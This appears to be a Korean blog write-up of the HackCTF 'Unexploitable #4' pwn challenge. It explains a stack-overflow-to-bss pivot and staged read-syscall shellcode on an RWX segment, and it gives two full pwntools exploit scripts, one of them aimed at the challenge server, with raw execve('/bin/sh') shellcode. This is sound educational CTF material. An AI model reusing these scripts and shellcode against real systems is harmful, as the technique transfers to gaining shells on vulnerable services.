본문 바로가기

PWN

HackCTF/ Unexploitable #4

누가 물어봐서 잠깐 봤는데 나름 참신한? 풀이가 생각나서 기록해둔다. 가능한 워게임 라업은 안 쓰려고 하는데, 이 사이트는 다들 라업 공개하실길래 그냥 쓴다. 

 

➜  unexploitable checksec ./Unexploitable_4 
[*] '/home/jjy/lab/hackctf/unexploitable/Unexploitable_4'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

 

제목에서 알 수 있듯이 pwnable.kr의 unexploitable에서 따온 문제인듯하다. 

 

rbp에 bss의 주소를 적고 lea rax,[rbp+x]로 점프하면 bss 영역에 값을 쓸 수 있다. 

 

bss영역에 RWX 권한이 있기 때문에 해당 부분에 shellcode를 써서 거기로 점프하면 된다. 다만 길이 제한이 있고, rsp와 rip가 겹치기 때문에 일반적인 push pop shellcode는 사용할 수 없다. read syscall을 이용하여 쉘 코드를 한 번 더 입력받는 식으로 이러한 제약을 없앨 수 있다. read syscall을 이용할 때는 문자열을 만들 필요가 없어서 쉘코드가 짧아지기 때문이다. 

 

쉘코딩 빡센 문제는 이런 접근법을 한 번 생각해봐야겠다.

ubuntu 18.04에서는 rdi와 rsi의 값이 적절해서 rdx 값만 바꿔주면 쉘이 따졌다. 

from pwn import *
import time
p=process('Unexploitable_4')
#gdb.attach(p)
bss=p64(0x601090)
read=p64(0x4006DB )
payload = "A"*0x10
payload+= bss
payload+= read#ret
payload+=bss
p.sendline(payload)
#time.sleep(2)
gdb.attach(p)
pause()

shellcode= "mov edx,0x400;syscall"
payload = asm(shellcode)
payload = payload.ljust(0x18)
payload+=p64(0x601080)
p.sendline(payload)

pause()
shell ="\x90"*0x200
shell+="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendline(shell)

p.interactive()

하지만 서버에서는 다른 버전을 쓰는지 해당 레지스터의 값이 달랐던 모양인지 쉘이 안 따졌다. rsi값을 직접 넣어줬다. 18.04에서는 7바이트 쉘코드로 충분했던 반면 서버에서는 12바이트 쉘코드가 필요하다.(물론 길이를 줄이려는 노력은 하지 않았다.)

 

from pwn import *
import time
p= remote("ctf.j0n9hyun.xyz",3039) 
#p=process('Unexploitable_4')
#gdb.attach(p)
bss=p64(0x601090)
read=p64(0x4006DB )
payload = "A"*0x10
payload+= bss
payload+= read#ret
payload+=bss
p.sendline(payload)
#time.sleep(2)
#gdb.attach(p)
pause()

shellcode= "mov esi,0x601080;xor eax,eax;mov edx,0x400;syscall"
payload = asm(shellcode)
print(len(payload))
payload = payload.ljust(0x18)
payload+=p64(0x601080)
p.sendline(payload)

pause()
shell ="\x90"*0x200
shell+="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendline(shell)

p.interactive()

real world에서는 이렇게 한 번 더 입력받는 형태의 쉘코드보다 하나의 쉘코드 자체로 원하는 바를 이루는 쉘코드가 선호될 것이다. 하지만 CTF에서는 그럭저럭 쓸만한 트릭같다.  

'PWN' 카테고리의 다른 글

2020 PWN2WIN / tukro  (0) 2020.06.01
2020 DawgCTF / trASCII  (0) 2020.04.14
FireShell CTF 2020 / FireHTTPD  (0) 2020.03.23
peda, pwndbg, gef 같이 쓰기  (0) 2020.03.08
HSCTF / hard_heap  (0) 2020.02.19